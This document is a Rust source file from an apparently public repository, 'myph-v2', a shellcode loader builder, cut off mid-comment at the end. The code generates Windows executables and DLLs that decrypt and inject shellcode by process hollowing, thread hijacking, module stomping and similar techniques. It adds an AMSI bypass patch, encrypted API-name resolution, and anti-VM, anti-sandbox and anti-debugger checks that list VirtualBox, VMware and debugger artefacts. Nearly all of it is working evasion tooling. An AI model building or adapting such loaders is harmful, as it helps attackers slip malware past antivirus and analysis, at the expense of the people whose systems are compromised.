myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
loader.rs (59212B)
1 use std::fs; 2 use std::io; 3 use std::path::{Path, PathBuf}; 4 use std::process::Command; 5 6 use crate::cli::{BinaryFormat, EncryptionKind, Technique}; 7 use crate::encryption::{create_encryptor, derive_key_bytes}; 8 9 use super::templates::generate_decrypt_code; 10 use super::templates::techniques::TechniqueGenerator; 11 12 fn get_technique_generator(technique: &Technique) -> Box<dyn TechniqueGenerator> { 13 match technique { 14 Technique::CRT => Box::new(super::templates::techniques::CRTGenerator), 15 Technique::CRTx => Box::new(super::templates::techniques::CRTxGenerator), 16 Technique::EnumCalendar => Box::new(super::templates::techniques::EnumCalendarGenerator), 17 Technique::EnumWindows => Box::new(super::templates::techniques::EnumWindowsGenerator), 18 Technique::EnumSystemLocales => { 19 Box::new(super::templates::techniques::EnumSystemLocalesGenerator) 20 } 21 Technique::ImageGetDigestStream => { 22 Box::new(super::templates::techniques::ImageGetDigestStreamGenerator) 23 } 24 Technique::CreateFiber => Box::new(super::templates::techniques::CreateFiberGenerator), 25 Technique::Etwp => Box::new(super::templates::techniques::EtwpGenerator), 26 Technique::FairyLaw => Box::new(super::templates::techniques::FairyLawGenerator), 27 Technique::NtCreateThreadEx => { 28 Box::new(super::templates::techniques::NtCreateThreadExGenerator) 29 } 30 Technique::ProcessHollowing => { 31 Box::new(super::templates::techniques::ProcessHollowingGenerator) 32 } 33 Technique::QueueUserAPC => Box::new(super::templates::techniques::QueueUserAPCGenerator), 34 Technique::SetTimer => Box::new(super::templates::techniques::SetTimerGenerator), 35 Technique::Syscall => Box::new(super::templates::techniques::SyscallGenerator), 36 Technique::ModuleStomping => { 37 Box::new(super::templates::techniques::ModuleStompingGenerator) 38 } 39 Technique::ThreadHijacking => { 40 Box::new(super::templates::techniques::ThreadHijackingGenerator) 41 } 42 Technique::EarlyBird => Box::new(super::templates::techniques::EarlyBirdGenerator), 43 Technique::CreateThread => panic!("CreateThread not implemented"), 44 } 45 } 46 pub struct BuildConfig<'a> { 47 pub project_name: &'a str, 48 pub output_name: &'a str, 49 pub original_cwd: &'a Path, 50 pub shellcode_data: &'a [u8], 51 pub binary_format: &'a BinaryFormat, 52 pub encryption_kind: Option<&'a EncryptionKind>, 53 pub encryption_key: Option<&'a str>, 54 pub technique: &'a Technique, 55 pub process: &'a str, 56 pub with_api_hammering: bool, 57 pub with_amsi_patch: bool, 58 pub with_string_encryption: bool, 59 pub with_dynamic_function_resolver: bool, 60 pub with_anti_vm: bool, 61 pub with_anti_sandbox: bool, 62 pub with_anti_debugger: bool, 63 pub with_callstack_spoofing: bool, 64 pub low_resources: bool, 65 } 66 67 pub struct BuildEnv<'a> { 68 project_name: Option<&'a str>, 69 output_name: Option<&'a str>, 70 original_cwd: Option<&'a Path>, 71 shellcode_data: Option<&'a [u8]>, 72 binary_format: Option<&'a BinaryFormat>, 73 encryption_kind: Option<&'a EncryptionKind>, 74 encryption_key: Option<&'a str>, 75 technique: Option<&'a Technique>, 76 process: Option<&'a str>, 77 with_api_hammering: bool, 78 with_amsi_patch: bool, 79 with_string_encryption: bool, 80 with_dynamic_function_resolver: bool, 81 with_anti_vm: bool, 82 with_anti_sandbox: bool, 83 with_anti_debugger: bool, 84 with_callstack_spoofing: bool, 85 low_resources: bool, 86 } 87 88 impl<'a> BuildEnv<'a> { 89 pub fn new() -> Self { 90 Self { 91 project_name: None, 92 output_name: None, 93 original_cwd: None, 94 shellcode_data: None, 95 binary_format: None, 96 encryption_kind: None, 97 encryption_key: None, 98 technique: None, 99 process: None, 100 with_api_hammering: false, 101 with_amsi_patch: false, 102 with_string_encryption: false, 103 with_dynamic_function_resolver: false, 104 with_anti_vm: false, 105 with_anti_sandbox: false, 106 with_anti_debugger: false, 107 with_callstack_spoofing: false, 108 low_resources: false, 109 } 110 } 111 112 pub fn with_project_name(mut self, name: &'a str) -> Self { 113 self.project_name = Some(name); 114 self 115 } 116 117 pub fn with_output_name(mut self, name: &'a str) -> Self { 118 self.output_name = Some(name); 119 self 120 } 121 122 pub fn with_original_cwd(mut self, cwd: &'a Path) -> Self { 123 self.original_cwd = Some(cwd); 124 self 125 } 126 127 pub fn with_shellcode(mut self, data: &'a [u8]) -> Self { 128 self.shellcode_data = Some(data); 129 self 130 } 131 132 pub fn with_binary_format(mut self, format: &'a BinaryFormat) -> Self { 133 self.binary_format = Some(format); 134 self 135 } 136 137 pub fn with_encryption(mut self, kind: &'a EncryptionKind, key: &'a str) -> Self { 138 self.encryption_kind = Some(kind); 139 self.encryption_key = Some(key); 140 self 141 } 142 143 pub fn with_technique(mut self, technique: &'a Technique) -> Self { 144 self.technique = Some(technique); 145 self 146 } 147 148 pub fn with_process(mut self, process: &'a str) -> Self { 149 self.process = Some(process); 150 self 151 } 152 153 pub fn with_api_hammering(mut self, enabled: bool) -> Self { 154 self.with_api_hammering = enabled; 155 self 156 } 157 158 pub fn with_amsi_patch(mut self, enabled: bool) -> Self { 159 self.with_amsi_patch = enabled; 160 self 161 } 162 163 pub fn with_string_encryption(mut self, enabled: bool) -> Self { 164 self.with_string_encryption = enabled; 165 self 166 } 167 168 pub fn with_dynamic_function_resolver(mut self, enabled: bool) -> Self { 169 self.with_dynamic_function_resolver = enabled; 170 self 171 } 172 173 pub fn with_anti_vm(mut self, enabled: bool) -> Self { 174 self.with_anti_vm = enabled; 175 self 176 } 177 178 pub fn with_anti_sandbox(mut self, enabled: bool) -> Self { 179 self.with_anti_sandbox = enabled; 180 self 181 } 182 183 pub fn with_anti_debugger(mut self, enabled: bool) -> Self { 184 self.with_anti_debugger = enabled; 185 self 186 } 187 188 pub fn with_callstack_spoofing(mut self, enabled: bool) -> Self { 189 self.with_callstack_spoofing = enabled; 190 self 191 } 192 193 pub fn with_low_resources(mut self, enabled: bool) -> Self { 194 self.low_resources = enabled; 195 self 196 } 197 198 pub fn build(self) -> io::Result<PathBuf> { 199 let project_name = self 200 .project_name 201 .ok_or_else(|| io::Error::other("Project name is required"))?; 202 let output_name = self 203 .output_name 204 .ok_or_else(|| io::Error::other("Output name is required"))?; 205 let original_cwd = self 206 .original_cwd 207 .ok_or_else(|| io::Error::other("Original working directory is required"))?; 208 let shellcode_data = self 209 .shellcode_data 210 .ok_or_else(|| io::Error::other("Shellcode data is required"))?; 211 let binary_format = self 212 .binary_format 213 .ok_or_else(|| io::Error::other("Binary format is required"))?; 214 let technique = self 215 .technique 216 .ok_or_else(|| io::Error::other("Technique is required"))?; 217 let process = self 218 .process 219 .ok_or_else(|| io::Error::other("Process is required"))?; 220 221 let config = BuildConfig { 222 project_name, 223 output_name, 224 original_cwd, 225 shellcode_data, 226 binary_format, 227 encryption_kind: self.encryption_kind, 228 encryption_key: self.encryption_key, 229 technique, 230 process, 231 with_api_hammering: self.with_api_hammering, 232 with_amsi_patch: self.with_amsi_patch, 233 with_string_encryption: self.with_string_encryption, 234 with_dynamic_function_resolver: self.with_dynamic_function_resolver, 235 with_anti_vm: self.with_anti_vm, 236 with_anti_sandbox: self.with_anti_sandbox, 237 with_anti_debugger: self.with_anti_debugger, 238 with_callstack_spoofing: self.with_callstack_spoofing, 239 low_resources: self.low_resources, 240 }; 241 242 setup_and_build_project(&config) 243 } 244 } 245 246 impl Default for BuildEnv<'_> { 247 fn default() -> Self { 248 Self::new() 249 } 250 } 251 252 pub fn init_rust_project(config: &BuildConfig) -> io::Result<()> { 253 init_rust_project_with_target(config) 254 } 255 256 fn init_rust_project_with_target(config: &BuildConfig) -> io::Result<()> { 257 let (encrypted_shellcode, encryption_type_str, key_bytes) = prepare_shellcode_encryption( 258 config.shellcode_data, 259 config.encryption_kind, 260 config.encryption_key, 261 )?; 262 263 write_cargo_toml( 264 config.project_name, 265 config.binary_format, 266 encryption_type_str, 267 config.with_dynamic_function_resolver, 268 config.with_callstack_spoofing, 269 config.low_resources, 270 )?; 271 write_cargo_config(config.low_resources)?; 272 273 fs::create_dir_all("src")?; 274 275 let internals_source = generate_internals_with_crypto_and_strings( 276 encryption_type_str, 277 config.with_string_encryption, 278 config.with_dynamic_function_resolver, 279 )?; 280 let source_code = generate_source_code(SourceCodeParams { 281 binary_format: config.binary_format, 282 internals_source: &internals_source, 283 encryption: EncryptionParams { 284 encrypted_shellcode: &encrypted_shellcode, 285 key_bytes: &key_bytes, 286 encryption_type: encryption_type_str, 287 }, 288 technique_params: TechniqueParams { 289 technique: config.technique, 290 process: config.process, 291 }, 292 with_api_hammering: config.with_api_hammering, 293 with_amsi_patch: config.with_amsi_patch, 294 with_string_encryption: config.with_string_encryption, 295 with_dynamic_function_resolver: config.with_dynamic_function_resolver, 296 with_anti_vm: config.with_anti_vm, 297 with_anti_sandbox: config.with_anti_sandbox, 298 with_anti_debugger: config.with_anti_debugger, 299 with_callstack_spoofing: config.with_callstack_spoofing, 300 encryption_kind: config.encryption_kind, 301 encryption_key: config.encryption_key, 302 })?; 303 304 let file_name = match config.binary_format { 305 BinaryFormat::Exe => "src/main.rs", 306 BinaryFormat::Dll => "src/lib.rs", 307 BinaryFormat::Lnk => return Ok(()), // LNK doesn't need source file 308 }; 309 310 fs::write(file_name, source_code)?; 311 312 Ok(()) 313 } 314 315 fn prepare_shellcode_encryption( 316 shellcode_data: &[u8], 317 encryption_kind: Option<&EncryptionKind>, 318 encryption_key: Option<&str>, 319 ) -> io::Result<(Vec<u8>, &'static str, Vec<u8>)> { 320 match (encryption_kind, encryption_key) { 321 (Some(kind), Some(key)) => { 322 let encryptor = create_encryptor(kind.clone(), key); 323 let encrypted = encryptor 324 .encrypt(shellcode_data) 325 .map_err(|e| io::Error::other(format!("Encryption failed: {}", e)))?; 326 327 let type_str = encryption_kind_to_string(kind); 328 let key_data = derive_key_bytes(key, kind); 329 Ok((encrypted, type_str, key_data)) 330 } 331 (None, None) => Err(io::Error::other( 332 "Encryption is required: both encryption kind and key must be provided", 333 )), 334 (Some(_), None) => Err(io::Error::other( 335 "Encryption key is missing: both encryption kind and key must be provided together", 336 )), 337 (None, Some(_)) => Err(io::Error::other( 338 "Encryption kind is missing: both encryption kind and key must be provided together", 339 )), 340 } 341 } 342 343 fn encryption_kind_to_string(kind: &EncryptionKind) -> &'static str { 344 match kind { 345 EncryptionKind::AES => "aes", 346 EncryptionKind::AES256 => "aes256", 347 EncryptionKind::Chacha20 => "chacha20", 348 EncryptionKind::XOR => "xor", 349 EncryptionKind::Blowfish => "blowfish", 350 EncryptionKind::Twofish => "twofish", 351 EncryptionKind::Camellia => "camellia", 352 } 353 } 354 355 fn write_cargo_toml( 356 project_name: &str, 357 binary_format: &BinaryFormat, 358 encryption_type: &str, 359 with_dynamic_resolver: bool, 360 with_callstack_spoofing: bool, 361 low_resources: bool, 362 ) -> io::Result<()> { 363 use super::templates::{BuildProfile, CargoConfigGenerator, DllGenerator, ExeGenerator}; 364 365 let dependencies = super::dependencies::get_dependencies( 366 encryption_type, 367 with_dynamic_resolver, 368 with_callstack_spoofing, 369 ) 370 .map_err(io::Error::other)?; 371 372 let profile = if low_resources { 373 BuildProfile::LowResource 374 } else { 375 BuildProfile::Standard 376 }; 377 378 let cargo_toml = match binary_format { 379 BinaryFormat::Exe => { 380 ExeGenerator::new(profile).generate_cargo_toml(project_name, &dependencies) 381 } 382 BinaryFormat::Dll => { 383 DllGenerator::new(profile).generate_cargo_toml(project_name, &dependencies) 384 } 385 BinaryFormat::Lnk => return Ok(()), 386 }; 387 fs::write("Cargo.toml", cargo_toml) 388 } 389 390 fn write_cargo_config(low_resources: bool) -> io::Result<()> { 391 use super::templates::{BuildProfile, CargoConfigGenerator, ExeGenerator}; 392 393 fs::create_dir_all(".cargo")?; 394 395 let profile = if low_resources { 396 BuildProfile::LowResource 397 } else { 398 BuildProfile::Standard 399 }; 400 401 let cargo_config = ExeGenerator::new(profile).generate_cargo_config(); 402 fs::write(".cargo/config.toml", cargo_config) 403 } 404 405 fn generate_internals_with_crypto_and_strings( 406 encryption_type: &str, 407 with_string_encryption: bool, 408 with_dynamic_resolver: bool, 409 ) -> io::Result<String> { 410 super::templates::generate_internals_with_api_resolver( 411 encryption_type, 412 with_string_encryption, 413 with_dynamic_resolver, 414 ) 415 .map_err(io::Error::other) 416 } 417 418 struct EncryptionParams<'a> { 419 encrypted_shellcode: &'a [u8], 420 key_bytes: &'a [u8], 421 encryption_type: &'a str, 422 } 423 424 struct TechniqueParams<'a> { 425 technique: &'a Technique, 426 process: &'a str, 427 } 428 429 struct SourceCodeParams<'a> { 430 binary_format: &'a BinaryFormat, 431 internals_source: &'a str, 432 encryption: EncryptionParams<'a>, 433 technique_params: TechniqueParams<'a>, 434 with_api_hammering: bool, 435 with_amsi_patch: bool, 436 with_string_encryption: bool, 437 with_dynamic_function_resolver: bool, 438 with_anti_vm: bool, 439 with_anti_sandbox: bool, 440 with_anti_debugger: bool, 441 with_callstack_spoofing: bool, 442 encryption_kind: Option<&'a EncryptionKind>, 443 encryption_key: Option<&'a str>, 444 } 445 446 fn create_string_obfuscator<'a>( 447 params: &'a SourceCodeParams, 448 ) -> io::Result<Box<dyn super::templates::StringObfuscation + 'a>> { 449 if !params.with_string_encryption { 450 return Ok(Box::new(super::templates::NoObfuscation)); 451 } 452 453 // Note: This is a placeholder for future string encryption needs (e.g., API names) 454 // Currently no strings are encrypted in the template, but the infrastructure is ready 455 Ok(Box::new(super::templates::NoObfuscation)) 456 } 457 458 fn generate_amsi_patch_with_encryption( 459 encryption_kind: &EncryptionKind, 460 encryption_key: &str, 461 encryption_type: &str, 462 with_string_encryption: bool, 463 with_dynamic_function_resolver: bool, 464 ) -> io::Result<String> { 465 if !with_string_encryption && !with_dynamic_function_resolver { 466 return Ok(super::templates::generate_amsi_patch_code()); 467 } 468 469 let amsi_dll_str = "amsi.dll"; 470 let amsi_scan_buffer_str = "AmsiScanBuffer"; 471 472 let key = encryption_key; 473 let encryptor = create_encryptor(encryption_kind.clone(), key); 474 475 let encrypted_dll = encryptor 476 .encrypt(amsi_dll_str.as_bytes()) 477 .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?; 478 let encrypted_func = encryptor 479 .encrypt(amsi_scan_buffer_str.as_bytes()) 480 .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?; 481 482 let key_bytes = derive_key_bytes(key, encryption_kind); 483 484 let dll_array = format_bytes_as_array(&encrypted_dll); 485 let func_array = format_bytes_as_array(&encrypted_func); 486 let key_array = format_bytes_as_array(&key_bytes); 487 488 let decrypt_fn = match encryption_type { 489 "xor" => "internals::decrypt_xor", 490 "aes" => "internals::decrypt_aes", 491 "chacha20" => "internals::decrypt_chacha20", 492 "blowfish" => "internals::decrypt_blowfish", 493 _ => { 494 return Err(io::Error::other(format!( 495 "Unknown encryption type: {}", 496 encryption_type 497 ))) 498 } 499 }; 500 501 let expect_clause = if encryption_type == "xor" { 502 "" 503 } else { 504 ".expect(\"Failed to decrypt AMSI strings\")" 505 }; 506 507 if with_dynamic_function_resolver { 508 // Encrypt the DLL and function names 509 let load_library_dll_encrypted = encryptor 510 .encrypt("kernel32.dll".as_bytes()) 511 .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?; 512 let load_library_fn_encrypted = encryptor 513 .encrypt("LoadLibraryA".as_bytes()) 514 .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?; 515 516 let get_proc_address_dll_encrypted = encryptor 517 .encrypt("kernel32.dll".as_bytes()) 518 .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?; 519 let get_proc_address_fn_encrypted = encryptor 520 .encrypt("GetProcAddress".as_bytes()) 521 .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?; 522 523 let virtual_protect_dll_encrypted = encryptor 524 .encrypt("kernel32.dll".as_bytes()) 525 .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?; 526 let virtual_protect_fn_encrypted = encryptor 527 .encrypt("VirtualProtect".as_bytes()) 528 .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?; 529 530 let load_library_resolver = super::templates::generate_dynamic_function_resolver( 531 "kernel32.dll", 532 "LoadLibraryA", 533 encryption_type, 534 "load_library_a", 535 "DECRYPTION_KEY", 536 &load_library_dll_encrypted, 537 &load_library_fn_encrypted, 538 ) 539 .map_err(io::Error::other)?; 540 541 let get_proc_address_resolver = super::templates::generate_dynamic_function_resolver( 542 "kernel32.dll", 543 "GetProcAddress", 544 encryption_type, 545 "get_proc_address", 546 "DECRYPTION_KEY", 547 &get_proc_address_dll_encrypted, 548 &get_proc_address_fn_encrypted, 549 ) 550 .map_err(io::Error::other)?; 551 552 let virtual_protect_resolver = super::templates::generate_dynamic_function_resolver( 553 "kernel32.dll", 554 "VirtualProtect", 555 encryption_type, 556 "virtual_protect", 557 "DECRYPTION_KEY", 558 &virtual_protect_dll_encrypted, 559 &virtual_protect_fn_encrypted, 560 ) 561 .map_err(io::Error::other)?; 562 563 let load_library_cast = super::templates::generate_function_type_and_cast( 564 "load_library_a", 565 "unsafe extern \"system\" fn(*const u8) -> *mut std::ffi::c_void", 566 ); 567 568 let get_proc_address_cast = super::templates::generate_function_type_and_cast( 569 "get_proc_address", 570 "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const u8) -> *mut std::ffi::c_void" 571 ); 572 573 let virtual_protect_cast = super::templates::generate_function_type_and_cast( 574 "virtual_protect", 575 "unsafe extern \"system\" fn(*mut std::ffi::c_void, usize, u32, *mut u32) -> i32", 576 ); 577 578 let dll_resolver = format!( 579 r#"const ENCRYPTED_AMSI_DLL: &[u8] = &{}; 580 let amsi_dll_decrypted = {}(ENCRYPTED_AMSI_DLL, &DECRYPTION_KEY){};"#, 581 dll_array, decrypt_fn, expect_clause 582 ); 583 584 let func_resolver = format!( 585 r#"const ENCRYPTED_AMSI_FUNC: &[u8] = &{}; 586 let amsi_func_decrypted = {}(ENCRYPTED_AMSI_FUNC, &DECRYPTION_KEY){};"#, 587 func_array, decrypt_fn, expect_clause 588 ); 589 590 Ok( 591 super::templates::generate_amsi_patch_code_with_dynamic_resolver( 592 super::templates::AmsiDynamicResolverParams { 593 dll_resolver: &dll_resolver, 594 func_resolver: &func_resolver, 595 load_library_resolver: &load_library_resolver, 596 load_library_cast: &load_library_cast, 597 get_proc_address_resolver: &get_proc_address_resolver, 598 get_proc_address_cast: &get_proc_address_cast, 599 virtual_protect_resolver: &virtual_protect_resolver, 600 virtual_protect_cast: &virtual_protect_cast, 601 }, 602 ), 603 ) 604 } else { 605 Ok( 606 super::templates::generate_amsi_patch_code_with_string_encryption( 607 &dll_array, 608 &func_array, 609 &key_array, 610 decrypt_fn, 611 expect_clause, 612 ), 613 ) 614 } 615 } 616 617 fn encrypt_string_for_evasion( 618 s: &str, 619 encryptor: &dyn crate::encryption::Encryptor, 620 ) -> io::Result<String> { 621 let encrypted = encryptor 622 .encrypt(s.as_bytes()) 623 .map_err(|e| io::Error::other(format!("Failed to encrypt string: {}", e)))?; 624 Ok(format_bytes_as_array(&encrypted)) 625 } 626 627 const SANDBOX_CHECK_PATH: &str = "C:\\Windows\\System32"; 628 629 fn generate_evasion_code_with_encryption( 630 params: &SourceCodeParams, 631 encryptor: &dyn crate::encryption::Encryptor, 632 ) -> io::Result<String> { 633 let mut evasion_code = String::new(); 634 evasion_code.push_str(&crate::evasion::generate_evasion_externs()); 635 636 let decrypt_fn = super::templates::get_decrypt_function(params.encryption.encryption_type) 637 .map_err(io::Error::other)?; 638 let expect_clause = super::templates::get_expect_clause(params.encryption.encryption_type); 639 640 if params.with_anti_vm { 641 let vm_dlls = [ 642 "vmGuestLib.dll\0", 643 "vboxmrxnp.dll\0", 644 "VBoxHook.dll\0", 645 "vmmouse.sys\0", 646 "vmhgfs.dll\0", 647 ]; 648 let vm_dll_arrays: Vec<String> = vm_dlls 649 .iter() 650 .map(|s| encrypt_string_for_evasion(s, encryptor)) 651 .collect::<Result<Vec<_>, _>>()?; 652 653 let vm_registry_keys = [ 654 r"HKLM\SYSTEM\ControlSet001\Services\VBoxGuest", 655 r"HKLM\SYSTEM\ControlSet001\Services\VBoxMouse", 656 r"HKLM\SYSTEM\ControlSet001\Services\VBoxService", 657 r"HKLM\SYSTEM\ControlSet001\Services\vmtools", 658 r"HKLM\SYSTEM\ControlSet001\Services\vmmouse", 659 r"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0", 660 ]; 661 let vm_registry_arrays: Vec<String> = vm_registry_keys 662 .iter() 663 .map(|s| encrypt_string_for_evasion(s, encryptor)) 664 .collect::<Result<Vec<_>, _>>()?; 665 666 let vm_processes = [ 667 "vmtoolsd.exe", 668 "vmwaretray.exe", 669 "vmwareuser.exe", 670 "VGAuthService.exe", 671 "vmacthlp.exe", 672 "vboxservice.exe", 673 "vboxtray.exe", 674 "xenservice.exe", 675 "qemu-ga.exe", 676 ]; 677 let vm_process_arrays: Vec<String> = vm_processes 678 .iter() 679 .map(|s| encrypt_string_for_evasion(s, encryptor)) 680 .collect::<Result<Vec<_>, _>>()?; 681 682 let vm_vendors = ["vmware", "virtualbox", "qemu", "xen", "hyper-v"]; 683 let vm_vendor_arrays: Vec<String> = vm_vendors 684 .iter() 685 .map(|s| encrypt_string_for_evasion(s, encryptor)) 686 .collect::<Result<Vec<_>, _>>()?; 687 688 evasion_code.push_str(&crate::evasion::anti_vm_checks_with_encryption( 689 &vm_dll_arrays, 690 &vm_registry_arrays, 691 &vm_process_arrays, 692 &vm_vendor_arrays, 693 decrypt_fn, 694 expect_clause, 695 )); 696 } 697 698 if params.with_anti_sandbox { 699 let file_path_array = encrypt_string_for_evasion(SANDBOX_CHECK_PATH, encryptor)?; 700 evasion_code.push_str(&crate::evasion::anti_sandbox_checks_with_encryption( 701 &file_path_array, 702 decrypt_fn, 703 expect_clause, 704 )); 705 } 706 707 if params.with_anti_debugger { 708 let debugger_parents = [ 709 "devenv.exe", 710 "windbg.exe", 711 "x64dbg.exe", 712 "ollydbg.exe", 713 "ida64.exe", 714 ]; 715 let debugger_parent_arrays: Vec<String> = debugger_parents 716 .iter() 717 .map(|s| encrypt_string_for_evasion(s, encryptor)) 718 .collect::<Result<Vec<_>, _>>()?; 719 720 evasion_code.push_str(&crate::evasion::anti_debugger_checks_with_encryption( 721 &debugger_parent_arrays, 722 decrypt_fn, 723 expect_clause, 724 )); 725 } 726 727 Ok(evasion_code) 728 } 729 730 fn generate_source_code(params: SourceCodeParams) -> io::Result<String> { 731 let shellcode_array = format_bytes_as_array(params.encryption.encrypted_shellcode); 732 let key_array = if !params.encryption.key_bytes.is_empty() { 733 format_bytes_as_array(params.encryption.key_bytes) 734 } else { 735 "[]".to_string() 736 }; 737 let decrypt_code = generate_decrypt_code(params.encryption.encryption_type); 738 739 let function_name = super::templates::generate_random_function_name(); 740 741 let generator = get_technique_generator(params.technique_params.technique); 742 743 let technique_code = if params.with_dynamic_function_resolver { 744 if let (Some(encryption_kind), Some(encryption_key)) = 745 (params.encryption_kind, params.encryption_key) 746 { 747 let encryptor = create_encryptor(encryption_kind.clone(), encryption_key); 748 generator.generate_code_with_dynamic_resolver( 749 params.technique_params.process, 750 &function_name, 751 params.encryption.encryption_type, 752 encryptor.as_ref(), 753 ) 754 } else { 755 return Err(io::Error::other( 756 "Encryption kind and key required for dynamic function resolver", 757 )); 758 } 759 } else if params.with_api_hammering { 760 generator.generate_code_with_hammering(params.technique_params.process, &function_name) 761 } else { 762 generator.generate_code(params.technique_params.process, &function_name) 763 }; 764 765 let technique_code = generator.add_debug_context(technique_code); 766 767 if let Err(errors) = generator.validate_generated_code(&technique_code) { 768 let error_messages: Vec<String> = errors.iter().map(|e| e.to_string()).collect(); 769 return Err(io::Error::other(format!( 770 "Generated code validation failed for technique '{}': {}", 771 generator.name(), 772 error_messages.join("; ") 773 ))); 774 } 775 776 let string_obfuscator = create_string_obfuscator(¶ms)?; 777 778 let amsi_patch_code = if params.with_amsi_patch { 779 if let (Some(encryption_kind), Some(encryption_key)) = 780 (params.encryption_kind, params.encryption_key) 781 { 782 generate_amsi_patch_with_encryption( 783 encryption_kind, 784 encryption_key, 785 params.encryption.encryption_type, 786 params.with_string_encryption, 787 params.with_dynamic_function_resolver, 788 )? 789 } else { 790 super::templates::generate_amsi_patch_code() 791 } 792 } else { 793 String::new() 794 }; 795 796 let evasion_code = 797 if params.with_anti_vm || params.with_anti_sandbox || params.with_anti_debugger { 798 if params.with_string_encryption { 799 if let (Some(encryption_kind), Some(encryption_key)) = 800 (params.encryption_kind, params.encryption_key) 801 { 802 let encryptor = create_encryptor(encryption_kind.clone(), encryption_key); 803 generate_evasion_code_with_encryption(¶ms, encryptor.as_ref())? 804 } else { 805 return Err(io::Error::other( 806 "Encryption kind and key required for evasion string encryption", 807 )); 808 } 809 } else { 810 let mut code = String::new(); 811 code.push_str(&crate::evasion::generate_evasion_externs()); 812 if params.with_anti_vm { 813 code.push_str(&crate::evasion::anti_vm_checks()); 814 } 815 if params.with_anti_sandbox { 816 code.push_str(&crate::evasion::anti_sandbox_checks()); 817 } 818 if params.with_anti_debugger { 819 code.push_str(&crate::evasion::anti_debugger_checks()); 820 } 821 code 822 } 823 } else { 824 String::new() 825 }; 826 827 let template_config = super::templates::TemplateConfig::builder() 828 .internals_source(params.internals_source) 829 .shellcode_array(&shellcode_array) 830 .key_array(&key_array) 831 .decrypt_code(&decrypt_code) 832 .technique_code(&technique_code) 833 .technique_function_name(&function_name) 834 .with_api_hammering(params.with_api_hammering) 835 .with_amsi_patch(params.with_amsi_patch) 836 .with_string_encryption(params.with_string_encryption) 837 .with_dynamic_function_resolver(params.with_dynamic_function_resolver) 838 .with_anti_vm(params.with_anti_vm) 839 .with_anti_sandbox(params.with_anti_sandbox) 840 .with_anti_debugger(params.with_anti_debugger) 841 .with_callstack_spoofing(params.with_callstack_spoofing) 842 .encryption_type(params.encryption.encryption_type) 843 .amsi_patch_code(&amsi_patch_code) 844 .evasion_code(&evasion_code) 845 .string_obfuscator(string_obfuscator) 846 .build(); 847 848 Ok(match params.binary_format { 849 BinaryFormat::Exe => super::templates::generate_exe_main_template(&template_config), 850 BinaryFormat::Dll => super::templates::generate_dll_lib_template(&template_config), 851 BinaryFormat::Lnk => String::new(), // LNK doesn't need source code 852 }) 853 } 854 855 fn format_bytes_as_array(bytes: &[u8]) -> String { 856 if bytes.is_empty() { 857 return "[]".to_string(); 858 } 859 860 use std::fmt::Write; 861 let mut result = String::with_capacity(bytes.len() * 6 + 2); 862 result.push('['); 863 864 for (i, byte) in bytes.iter().enumerate() { 865 if i > 0 { 866 result.push_str(", "); 867 } 868 write!(result, "0x{:02x}", byte).unwrap(); 869 } 870 871 result.push(']'); 872 result 873 } 874 875 /// Verify that a binary was built successfully 876 /// 877 /// Uses the goblin crate to parse and verify the binary format. 878 /// With Cargo's profile.release.strip = true, binaries are automatically 879 /// stripped during compilation, so no post-processing is needed. 880 /// 881 /// Works cross-platform (Linux/ELF, macOS/Mach-O, Windows/PE). 882 /// 883 /// # Arguments 884 /// 885 /// * `binary_path` - Path to the binary to verify 886 /// 887 /// Returns `Ok(())` if the binary is valid, otherwise returns an error. 888 pub fn verify_binary(binary_path: &Path) -> io::Result<()> { 889 let binary_data = fs::read(binary_path)?; 890 891 goblin::Object::parse(&binary_data) 892 .map_err(|e| io::Error::other(format!("Failed to parse binary: {}", e)))?; 893 894 Ok(()) 895 } 896 897 /// Build the Rust project in release mode 898 /// 899 /// Executes `cargo build --release` in the current directory. 900 /// The compiled binary will be in `target/release/`. 901 /// 902 /// # Arguments 903 /// 904 /// * `project_name` - The name of the project (used to find the binary) 905 /// * `binary_format` - The binary format (EXE or DLL) 906 /// 907 /// Returns the path to the compiled binary if successful, otherwise returns an error. 908 pub fn build_release(project_name: &str, binary_format: &BinaryFormat) -> io::Result<PathBuf> { 909 // LNK files are generated directly, no build needed 910 if matches!(binary_format, BinaryFormat::Lnk) { 911 return Ok(PathBuf::from(format!("{}.lnk", project_name))); 912 } 913 914 let output = Command::new("cargo") 915 .arg("build") 916 .arg("--release") 917 .output()?; 918 919 if !output.status.success() { 920 let stderr = String::from_utf8_lossy(&output.stderr); 921 return Err(io::Error::other(format!("cargo build failed: {}", stderr))); 922 } 923 924 let has_windows_target = Path::new(".cargo/config.toml").exists(); 925 926 let binary_name = if has_windows_target { 927 match binary_format { 928 BinaryFormat::Exe => format!("{}.exe", project_name), 929 BinaryFormat::Dll => format!("{}.dll", project_name), 930 BinaryFormat::Lnk => format!("{}.lnk", project_name), 931 } 932 } else { 933 match binary_format { 934 BinaryFormat::Exe => { 935 if cfg!(target_os = "windows") { 936 format!("{}.exe", project_name) 937 } else { 938 project_name.to_string() 939 } 940 } 941 BinaryFormat::Dll => { 942 if cfg!(target_os = "windows") { 943 format!("{}.dll", project_name) 944 } else if cfg!(target_os = "macos") { 945 format!("lib{}.dylib", project_name) 946 } else { 947 format!("lib{}.so", project_name) 948 } 949 } 950 BinaryFormat::Lnk => format!("{}.lnk", project_name), 951 } 952 }; 953 954 let binary_path = if has_windows_target { 955 PathBuf::from("target") 956 .join("x86_64-pc-windows-gnu") 957 .join("release") 958 .join(&binary_name) 959 } else { 960 PathBuf::from("target").join("release").join(&binary_name) 961 }; 962 963 if !binary_path.exists() { 964 return Err(io::Error::new( 965 io::ErrorKind::NotFound, 966 format!("Binary not found at {:?}", binary_path), 967 )); 968 } 969 970 Ok(binary_path) 971 } 972 973 /// Copy a binary to a target location with a specific name 974 /// 975 /// # Arguments 976 /// 977 /// * `source` - Path to the source binary 978 /// * `dest_dir` - Directory 